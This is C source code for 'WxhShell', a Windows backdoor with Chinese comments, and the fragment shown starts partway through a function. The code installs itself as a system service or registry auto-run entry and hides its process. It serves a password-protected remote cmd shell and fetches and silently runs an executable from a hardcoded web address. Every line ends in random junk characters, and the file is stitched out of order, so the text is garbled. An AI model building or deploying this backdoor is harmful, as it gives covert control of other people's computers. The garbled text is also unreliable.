    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $NO&YLS@  
    if(Boot(SHUTDOWN)) [KQ6Ta.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rW#T vUn  
    else { lr$zHI7_`  
    closesocket(wsh); N)Z?Z+ }h  
    ExitThread(0); EBmt9S  
    } nT)vNWT=  
    break; EEL,^3KR  
    } B|X!>Q<g  
  // 获取shell -%4,@ x`  
  case 's': { {7pli{`  
    CmdShell(wsh); D3K8F@d  
    closesocket(wsh); ~bpgSP"  
    ExitThread(0); r@,2E6xn  
    break; ]]Ufas9  
  } %N_%JK\{@  
  // 退出 9o!Bzy+_  
  case 'x': { |gY^)9ei  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8a"%0d#  
    CloseIt(wsh); xe$_aBU  
    break; ,"0 :3+(8;  
    } EB|}fz  
  // 离开 S5EK~#-L[  
  case 'q': { ?Ss!e$jf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]J]h#ZHx  
    closesocket(wsh); {(?4!rh  
    WSACleanup(); pmYHUj #  
    exit(1); QSf|nNT  
    break; +qdEq_ m  
        } 3T0"" !Q  
  } j_ 7mNIr  
  } '/%H3A#L  
YZJyk:H\  
  // 提示信息 9-m=*|p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GsM<2@?  
} 0C ,`h `  
  } _h1mF<\ X^  
7Fsay+a  
  return; @9|hMo  
} PeEj&4k  
U,1-A=Og{o  
// shell模块句柄 6D_D';o  
int CmdShell(SOCKET sock) | VDV<g5h  
{ IO:G1;[/2L  
STARTUPINFO si; FML(4BY,  
ZeroMemory(&si,sizeof(si)); w@fi{H(R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (&x['IR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bi;1s'Y<D  
PROCESS_INFORMATION ProcessInfo; g< .qUBPKX  
char cmdline[]="cmd"; 13/]DF,S"^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P{^6v=8)  
  return 0; o#1 $q`Z  
} Eu04e N  
seeB S/%  
// 自身启动模式 ZqO^f*F>h  
int StartFromService(void) 18:%~>.!  
{ 0+b1vhQ  
typedef struct #C@FYO f*  
{ ,5<Cd,`*  
  DWORD ExitStatus; .(2ik5A%9  
  DWORD PebBaseAddress; 3"\lu?-E  
  DWORD AffinityMask; Pj% |\kbNs  
  DWORD BasePriority; V Jll  
  ULONG UniqueProcessId; o2\8OxcA  
  ULONG InheritedFromUniqueProcessId; `Ryp% Bn  
}   PROCESS_BASIC_INFORMATION; ^_mj  
y4fdq7i~}9  
PROCNTQSIP NtQueryInformationProcess; 9=2$8JN=(l  
0_t!T'jr7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b>JDH1)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S ByW[JE  
XU7qd:|  
  HANDLE             hProcess; ;,e2egC'  
  PROCESS_BASIC_INFORMATION pbi; BIL Lq8)  
jWfa;&Ra  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u\JNr}bL  
  if(NULL == hInst ) return 0; 3sZ\0P}   
,s;Uf F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .#pU=v#/[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k|d+#u[Mj@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jRV/A!4  
v|2T%y_ u  
  if (!NtQueryInformationProcess) return 0; iAU@Yg`pt  
Xla~Yg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 65^9  
  if(!hProcess) return 0; _:27]K:  
0{R=9wcc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Hj,A5#|=J  
P7~>mm+  
  CloseHandle(hProcess); :9 ^* ^T  
k$^`{6l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `PH{syz  
if(hProcess==NULL) return 0; VW4r{&rS  
HyWCMK6b  
HMODULE hMod; ?6Y?a2 |  
char procName[255]; q'8 2qY  
unsigned long cbNeeded; HHsmLo c4  
U4B( #2'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wD)XjX  
5XB H$&Td  
  CloseHandle(hProcess); TRq6NB  
yz8jw:d^-  
if(strstr(procName,"services")) return 1; // 以服务启动 v_-dx  
c0u^zH<  
  return 0; // 注册表启动 DR<9#RRD  
} G'A R`"F  
sON|w86B  
// 主模块 b SU~XGPB  
int StartWxhshell(LPSTR lpCmdLine) =C.$ UX  
{ g}',(tPMZ  
  SOCKET wsl; ~Jz6O U*z  
BOOL val=TRUE; [hj6N*4y  
  int port=0; z' >_Mc6  
  struct sockaddr_in door; n6a`;0f[R  
HC,Se.VYS  
  if(wscfg.ws_autoins) Install(); E~oOKQ5W  
pIX`MlBdF  
port=atoi(lpCmdLine); ?(i{y~  
Jg| XH L)  
if(port<=0) port=wscfg.ws_port; d-dEQKI?;  
N<injx  
  WSADATA data; R*2E/8Ia  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \P`hq^;  
oM`0y@QCf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &KRX[2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Npy :!  
  door.sin_family = AF_INET; ^.NU|NQi'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @J`"[%U  
  door.sin_port = htons(port); Q$@I"V&G.  
*bA.zmzM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "1 M[5\Ax  
closesocket(wsl); TbW38\>.R  
return 1; jtc]>]6i  
} NHZz _a=  
s,&Z=zt0R  
  if(listen(wsl,2) == INVALID_SOCKET) { JnM["Q=`  
closesocket(wsl); '(|ofJe!  
return 1; _zi|  
} WEi2=3dV  
  Wxhshell(wsl); 0Z{ZO*rK  
  WSACleanup(); Hja3a{LH  
nc|p)  
return 0; G*P#]eO  
^3L0w}#  
} '$%l7  
,1o FPa{?  
// 以NT服务方式启动 OYTkV}tG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wcY? rE9  
{ JrRH\+4K  
DWORD   status = 0; j HJ`,#  
  DWORD   specificError = 0xfffffff; u5f9Jw}  
P\rg" 3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y glmX"fLf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y/ ef>ZZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Gu\q%'I  
  serviceStatus.dwWin32ExitCode     = 0; @QPz #-  
  serviceStatus.dwServiceSpecificExitCode = 0; `&ckZiq  
  serviceStatus.dwCheckPoint       = 0; 7\Y0z  
  serviceStatus.dwWaitHint       = 0; J]pir4&j  
Cd}<a?m,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CdjI`  
  if (hServiceStatusHandle==0) return; lchPpm9  
m`^q <sj  
status = GetLastError(); cB}D^O   
  if (status!=NO_ERROR) Vb]=B~^`  
{ ={@6{-tl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D7Q$R:6|  
    serviceStatus.dwCheckPoint       = 0; > jc [nk  
    serviceStatus.dwWaitHint       = 0; +*/Zu`kzX  
    serviceStatus.dwWin32ExitCode     = status; z/@slT  
    serviceStatus.dwServiceSpecificExitCode = specificError; @O^6&\s>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :(*V?WI  
    return; K} X&AJ5A  
  } =R$u[~Xl2X  
@>Km_Ax  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t)$:0  
  serviceStatus.dwCheckPoint       = 0; "n5N[1b k  
  serviceStatus.dwWaitHint       = 0; Ig0VW)@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _H7x9 y=  
} #( 146  
|~mOfuQb  
// 处理NT服务事件,比如:启动、停止 ra gXn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fdi\hg^x  
{ ,w:U#r~s"  
switch(fdwControl) sLT3Y}IO  
{ .~~T\rmI  
case SERVICE_CONTROL_STOP: " C Qa.%  
  serviceStatus.dwWin32ExitCode = 0; =wV<hg)C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m'=Crei  
  serviceStatus.dwCheckPoint   = 0; uGK.\PB$  
  serviceStatus.dwWaitHint     = 0; a![{M<Y~  
  { IDriGZZ<)6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h_,i&d@(  
  } j@3Q;F0ba  
  return; T;a}#56{^  
case SERVICE_CONTROL_PAUSE: ^7WN{0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kxIF#/8  
  break; a P@N)"  
case SERVICE_CONTROL_CONTINUE: #rQ2gx4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =Toy Zm\  
  break; q01wbO3-"  
case SERVICE_CONTROL_INTERROGATE: T<Z &kYU:R  
  break; fW1CFRHH  
}; :vQrOn18p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K)|G0n*qS  
} U@)eTHv}6  
i^Y+?Sx  
// 标准应用程序主函数 CXx*_@}MU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \\H}`0m:  
{ '"/=f\)u  
!6O(-S2A  
// 获取操作系统版本 ,pQZ@I\z  
OsIsNt=GetOsVer(); ;) z:fToh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bSi%2Onj  
2,b(,3{`4:  
  // 从命令行安装 BLf>_b Uk  
  if(strpbrk(lpCmdLine,"iI")) Install(); h# o6K#  
;~ $'2f~U  
  // 下载执行文件 tOd&!HYL  
if(wscfg.ws_downexe) { -4IE]'##  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +RMSA^  
  WinExec(wscfg.ws_filenam,SW_HIDE); +YKi,  
} hPkWCoQpq  
A,Vu\3HS  
if(!OsIsNt) { _Gi4A  
// 如果时win9x,隐藏进程并且设置为注册表启动 UapC"XYJ  
HideProc(); aU "8{  
StartWxhshell(lpCmdLine); li'YDtMKCY  
}  JWhdMU  
else ;oKZ!ND  
  if(StartFromService()) 6"5A%{ J  
  // 以服务方式启动 p\tm:QWD;  
  StartServiceCtrlDispatcher(DispatchTable); qHplJ "  
else 2M#Q.F  
  // 普通方式启动 U} e!Wjrc  
  StartWxhshell(lpCmdLine); PI:4m%[  
17[3/m8a  
return 0; RYQR(v  
} t?-n*9,#S  
5z8d} I  
n&;85IF1  
TA`1U;c{n  
=========================================== ~"&|W'he[  
(ybI\UI  
WwBOM~/`2  
;!mzyb*  
L:pYn_  
qYjce]c  
" 2W96Zju\  
HV!m8k=6  
#include <stdio.h> JPc+rfF  
#include <string.h> $%CF8\0  
#include <windows.h> sV{,S>s   
#include <winsock2.h> j_!F*yul  
#include <winsvc.h> 9~5uaP$S  
#include <urlmon.h> jrlVvzZ  
~Ei$nV  
#pragma comment (lib, "Ws2_32.lib") ,]ma+(|  
#pragma comment (lib, "urlmon.lib") GmeQ`;9,  
hz;G$cuEE  
#define MAX_USER   100 // 最大客户端连接数 h-#6av :  
#define BUF_SOCK   200 // sock buffer Ic"ybj`  
#define KEY_BUFF   255 // 输入 buffer QT< }] 0  
nQX:T;WL@  
#define REBOOT     0   // 重启 uD$u2  
#define SHUTDOWN   1   // 关机 hk(ZM#Bh  
1EO7H{E=  
#define DEF_PORT   5000 // 监听端口 @fZ,.2ar  
|mdVdD~go  
#define REG_LEN     16   // 注册表键长度 ( iBl   
#define SVC_LEN     80   // NT服务名长度  3s,g*  
7a =gH2]&  
// 从dll定义API */)c?)"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o/$}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); * J7DY f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e#L8X {f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SIF/-{i(X  
[fya)}  
// wxhshell配置信息 @Q ]=\N:  
struct WSCFG { 7 S#J>*  
  int ws_port;         // 监听端口 UqFO|r"M  
  char ws_passstr[REG_LEN]; // 口令 E:sf{B'&  
  int ws_autoins;       // 安装标记, 1=yes 0=no <ktrPlNuM  
  char ws_regname[REG_LEN]; // 注册表键名 53;}Nt#R  
  char ws_svcname[REG_LEN]; // 服务名 xjuN-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d6?j`~[7#-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]_mb7X>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lk^Ol&6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no | C;=-|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AW%#O\N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?>D+ge  
(Du@ S  
}; Zw 26  
IXMop7~  
// default Wxhshell configuration ITE{@1  
struct WSCFG wscfg={DEF_PORT, Xk~D$~4<  
    "xuhuanlingzhe", Gv!2f  
    1, ~NrG` D}  
    "Wxhshell", EnKR%Ctw  
    "Wxhshell", ~9a<0Mc?  
            "WxhShell Service", ?/wm(uL  
    "Wrsky Windows CmdShell Service", )0.kv2o.  
    "Please Input Your Password: ", T6y\|  
  1, 'Vzp2  
  "http://www.wrsky.com/wxhshell.exe", EA@ .,7F  
  "Wxhshell.exe" i^X]j  
    }; xBThq?N?  
zsEc(  
// 消息定义模块 9|^2",V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >a!/QMh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )#0O>F~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >Eyt17_H"n  
char *msg_ws_ext="\n\rExit."; ^b4 9  
char *msg_ws_end="\n\rQuit."; )Ys x}vSZ  
char *msg_ws_boot="\n\rReboot..."; vjbASFF0=  
char *msg_ws_poff="\n\rShutdown..."; /wQy17g  
char *msg_ws_down="\n\rSave to "; ,uSMQS-O'4  
9Z@hPX3.  
char *msg_ws_err="\n\rErr!"; GvtG(u~  
char *msg_ws_ok="\n\rOK!"; O40?{v'  
XO>KZV7)  
char ExeFile[MAX_PATH]; 6y-@iJ*ld;  
int nUser = 0; 4M=]wR;  
HANDLE handles[MAX_USER]; rT=rrvV3g  
int OsIsNt; {g'(~ qv  
<prk8jSWV  
SERVICE_STATUS       serviceStatus; OZb-:!m*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a5dLQx b  
-P(efYk  
// 函数声明 j nkR}wAA  
int Install(void); L4@K~8j7  
int Uninstall(void); B?eCe}*f;B  
int DownloadFile(char *sURL, SOCKET wsh); =m]v8`g  
int Boot(int flag); 2prU  
void HideProc(void); -V*R\,>  
int GetOsVer(void); GL>O4S<`  
int Wxhshell(SOCKET wsl); afCW(zH p  
void TalkWithClient(void *cs); yJ[0WY8<kC  
int CmdShell(SOCKET sock); QGMV}y  
int StartFromService(void); <O(4TO  
int StartWxhshell(LPSTR lpCmdLine); |%BOZT  
|0&IXOW"XF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `[y^ :mj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NJ%P/\ C  
+C^nO=[E  
// 数据结构和表定义 _>o:R$ %}  
SERVICE_TABLE_ENTRY DispatchTable[] = w1F cB$  
{ +r�  
{wscfg.ws_svcname, NTServiceMain}, u4*BX&  
{NULL, NULL} U45e2~1!O  
}; $!-yr7  
k90YV(  
// 自我安装 BwN0!lsF3  
int Install(void) pE3?"YO  
{ vSGH[nyCY  
  char svExeFile[MAX_PATH]; ^)470K`%)  
  HKEY key; /`Ug9,*  
  strcpy(svExeFile,ExeFile); WqR&&gz  
PF0_8,@U  
// 如果是win9x系统,修改注册表设为自启动 'NbHa!  
if(!OsIsNt) { G~]Uk*M q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >1X|^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F0m-23[H  
  RegCloseKey(key); Gf%~{@7=u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]"pVj6O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }g@v`5  
  RegCloseKey(key); dUD[e,?  
  return 0; WSP I|#Xr%  
    } 8$] 1M,$r  
  } n.}ZkG0`  
} 7RQR)DG  
else { "-E\[@/  
&.F4 b~A7  
// 如果是NT以上系统,安装为系统服务 SjK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,Y@Gyx!4  
if (schSCManager!=0) 4XL^D~V  
{ oe ~'o'  
  SC_HANDLE schService = CreateService :ffY6L+  
  ( HRpte=`q  
  schSCManager, f'F?MINJP  
  wscfg.ws_svcname, Q*GN`07@?d  
  wscfg.ws_svcdisp, mwO6g~@ `  
  SERVICE_ALL_ACCESS, ^23~ZHu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1wii8B6  
  SERVICE_AUTO_START, 2zX]\s?3  
  SERVICE_ERROR_NORMAL, B4ZBq%Z_  
  svExeFile, ynp8r f  
  NULL, YByLoM*  
  NULL, Q1lyj7c#x  
  NULL, V~qNyOtA]  
  NULL, XjBW9a  
  NULL 05|=`eJ  
  ); )|cc X  
  if (schService!=0) MnmVl"(/  
  { hy9\57_#  
  CloseServiceHandle(schService); 1l9 G[o *  
  CloseServiceHandle(schSCManager); [=C6U_vU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v<k?Vu  
  strcat(svExeFile,wscfg.ws_svcname); ;cNv\t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y-Fo=y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I2XU(pYU  
  RegCloseKey(key); 6]i-E>p3R  
  return 0; S*pGMuui  
    } Xa[.3=bV?  
  } y4yhF8E>;U  
  CloseServiceHandle(schSCManager); ^ "E^zHM(  
} UB@Rs|)  
} 9p85Pv [M=  
)w em|:H  
return 1; rD tY[  
} K&u_R  
cUk7i`M;6  
// 自我卸载 `Uq#W+r,  
int Uninstall(void) vN}#Kc\  
{ O}gV`q;  
  HKEY key; ~ZaY!(R<  
eNh39er  
if(!OsIsNt) { EZgwF =lO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \eTwXe]Pv  
  RegDeleteValue(key,wscfg.ws_regname); G+9,,`2  
  RegCloseKey(key); 0mp/Le5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _!#@@O0p/h  
  RegDeleteValue(key,wscfg.ws_regname); =<C: d  
  RegCloseKey(key); XE RUo  
  return 0; TT%M' 5&  
  } _IMW {  
} YO`]UQ|dc  
} Brw@g8w-X  
else { t}a: p6D]  
kb%;=t2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m<G,[Yc  
if (schSCManager!=0) #&+{mCjs  
{ 4X/-4'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3=#<X-);  
  if (schService!=0) E#RDqL*J  
  { !"AvY y9  
  if(DeleteService(schService)!=0) { m~BAyk^jo3  
  CloseServiceHandle(schService); TJd)K$O>  
  CloseServiceHandle(schSCManager); .D~;u-%|F  
  return 0; fy1|$d{'  
  } 2g `o  
  CloseServiceHandle(schService); ]2A^1Del  
  } ;7*[Bcj.  
  CloseServiceHandle(schSCManager); =}^9 wP  
} AD> e?u  
} uo:J\E  
qw301]y  
return 1; 3ZuZ/=  
} !vi> U|rh  
D_2:k'4  
// 从指定url下载文件 Q>qUk@  
int DownloadFile(char *sURL, SOCKET wsh) ux-/>enc  
{ evJ4C#Pr  
  HRESULT hr; k?yoQL*  
char seps[]= "/"; r wL`Czs  
char *token; 1dY}\Sp  
char *file; PN%zIkbo  
char myURL[MAX_PATH]; ^S<Y>Nm]  
char myFILE[MAX_PATH]; Y>z>11yEB0  
W.jGGt\<\  
strcpy(myURL,sURL); o)|flI'vT  
  token=strtok(myURL,seps); ')Zvp7>$  
  while(token!=NULL) ";lVa'HMZ  
  { <\ y@*fg+  
    file=token; ,]C;sN%~}  
  token=strtok(NULL,seps); ,oe <  
  } J-:.FKf\5l  
T  wB}l  
GetCurrentDirectory(MAX_PATH,myFILE); nUr5Qn?  
strcat(myFILE, "\\"); 8$cLG*=h4  
strcat(myFILE, file); CZe ]kXNv  
  send(wsh,myFILE,strlen(myFILE),0); .~db4d]  
send(wsh,"...",3,0); KM0ru  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j3oV+zZ49  
  if(hr==S_OK) lgAoJ[  
return 0; 5<k"K^0QS  
else ~\SGb_2  
return 1; OnziG+ak  
$p8xEcQdU#  
} T~?Ff|qFC  
X #dmo/L8  
// 系统电源模块 :k]1Lm||  
int Boot(int flag) h^45,E C  
{ [^n.Pns  
  HANDLE hToken; D8Ic?:iX[  
  TOKEN_PRIVILEGES tkp; dbLZc$vPj  
>=lC4Tu  
  if(OsIsNt) { G>_*djUf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2szPAuN+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lBE= (A`  
    tkp.PrivilegeCount = 1; K g*Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NX.6px17  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GKqm&/M*=  
if(flag==REBOOT) { ;O5zUl-`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ty\R=y}}  
  return 0; 5ta `%R_  
} ,pfG  
else { M^Yh|%M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ja'T+!k  
  return 0; CkC^'V)  
} Po;W'7"Po`  
  } "Y.tht H  
  else { !TH) +zi  
if(flag==REBOOT) { Kn{4;Xk\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _ye |Y  
  return 0; XX!%RE`M8  
} q$UJ$ 7=f8  
else { 6v!`1} ~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =?* !"&h  
  return 0; "cGk)s  
} N% B>M7-=  
} wu6;.xTLl  
8rGgF]F  
return 1; g-k|>-h  
} nAato\mM  
j_[tu!~  
// win9x进程隐藏模块 r6Dz;uz  
void HideProc(void) rKc9b<Ir  
{ s^TZXCyF o  
'BxX0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AN m d!  
  if ( hKernel != NULL ) >uB?rGcM  
  { CW K7wZM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uZYF(Yu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @bLy,Xr&  
    FreeLibrary(hKernel); B@))8.h]  
  } t+ TdLDJR  
I{&[[7H  
return; 59L\|OR  
} v~C Czg  
:4w ?#  
// 获取操作系统版本 U>SShpmZA  
int GetOsVer(void) T Z@]:e:"b  
{ 7z,C}-q  
  OSVERSIONINFO winfo; G _tCmu\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nW:C/{n2tG  
  GetVersionEx(&winfo); !F-w3 ]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [DOckf oZx  
  return 1; 'oVx#w^mf  
  else n&/ `  
  return 0; DfD&)tsMQ  
} N>1em!AS  
Oo~; L,  
// 客户端句柄模块 W*:.Gxv]  
int Wxhshell(SOCKET wsl) 6_;icpN]  
{ MchA{p&Ol  
  SOCKET wsh; h" W,WxL8  
  struct sockaddr_in client; A{zN | S[  
  DWORD myID; (mB&m@-N  
2pCaX\t  
  while(nUser<MAX_USER) %2{ye  
{ Q{>k1$fkV  
  int nSize=sizeof(client); T763:v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?j.,Nw4FC  
  if(wsh==INVALID_SOCKET) return 1; {YC@T(  
3,w_ ".m`#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ix}sK"}[n  
if(handles[nUser]==0) e`s ~.ZF  
  closesocket(wsh); 4J? 0bZ  
else G_JA-@i%  
  nUser++; 372rbY  
  } TX/Xt7#R:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,p a {qne  
'Is kWgc  
  return 0; y^ *~B(T{  
} %;' s4ly  
.{^5X)  
// 关闭 socket ^\% (,KNo  
void CloseIt(SOCKET wsh) 8,%^ M9zBP  
{ 2,F .$X  
closesocket(wsh); ;(%QD 3>  
nUser--; Ax@$+/Z!  
ExitThread(0); ~~P5k:  
} kTB 0b*V  
C) s5D  
// 客户端请求句柄 0+ '&`Q!u  
void TalkWithClient(void *cs) 5tk AFb4P  
{ =qIp2c}Rx  
B$K=\6o  
  SOCKET wsh=(SOCKET)cs; Q&;9 x?e  
  char pwd[SVC_LEN]; ?V=ZIGj  
  char cmd[KEY_BUFF]; EZGIf/ 3  
char chr[1]; *^4"5X@  
int i,j; eByz-,{P  
e *C(q~PQ  
  while (nUser < MAX_USER) { _VN?#J)o  
6 "sSoj  
if(wscfg.ws_passstr) { B9 uoVcW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yyJ  f%{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]m<$}  
  //ZeroMemory(pwd,KEY_BUFF); I236 RIq  
      i=0;  (ZizuHC  
  while(i<SVC_LEN) { Vb_4f"  
,4$>,@WW~  
  // 设置超时 0OE:[pR  
  fd_set FdRead; x9g#<2w8  
  struct timeval TimeOut; p6@)-2^  
  FD_ZERO(&FdRead); 7}>EJ  
  FD_SET(wsh,&FdRead); cq]6XK-W  
  TimeOut.tv_sec=8; [q -h|m  
  TimeOut.tv_usec=0; eym4=k ~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); " 8MF_Gu):  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7$=In K  
KpGhQdR#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "+s++@ z  
  pwd=chr[0]; CTa57R  
  if(chr[0]==0xd || chr[0]==0xa) { q} >%8;nm  
  pwd=0; F41=b4/  
  break; pnOAs&QAm  
  } oPM96 (  
  i++; o*H<KaX  
    } EQM {  
T8g$uFo  
  // 如果是非法用户,关闭 socket i.m^/0!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5;EvNu  
} Q2gq}c~  
TeM|:o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QWYJ *  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m_]Y{3C  
Xv^qVn4  
while(1) { R m( "=(  
}7Q%6&IR  
  ZeroMemory(cmd,KEY_BUFF); ga+dt  
ux4POO3C|  
      // 自动支持客户端 telnet标准   a~w$#fo"`f  
  j=0; L8B! u9%  
  while(j<KEY_BUFF) { K|, .C[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1+s;FJ2}  
  cmd[j]=chr[0]; Gc|idjW4  
  if(chr[0]==0xa || chr[0]==0xd) { K"MX!  
  cmd[j]=0; y6a3t G  
  break; O0.*Pmt  
  } (9a^$C*  
  j++; 4Nsp<Kn>  
    } *EH~_F  
1qA;/-Zr<o  
  // 下载文件 {IjR^J=k  
  if(strstr(cmd,"http://")) { ]/v[8dS(l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ygcm|PrS  
  if(DownloadFile(cmd,wsh)) JZ x[W&]zT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); upmx $H>  
  else &D<yX~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y9ZvV0  
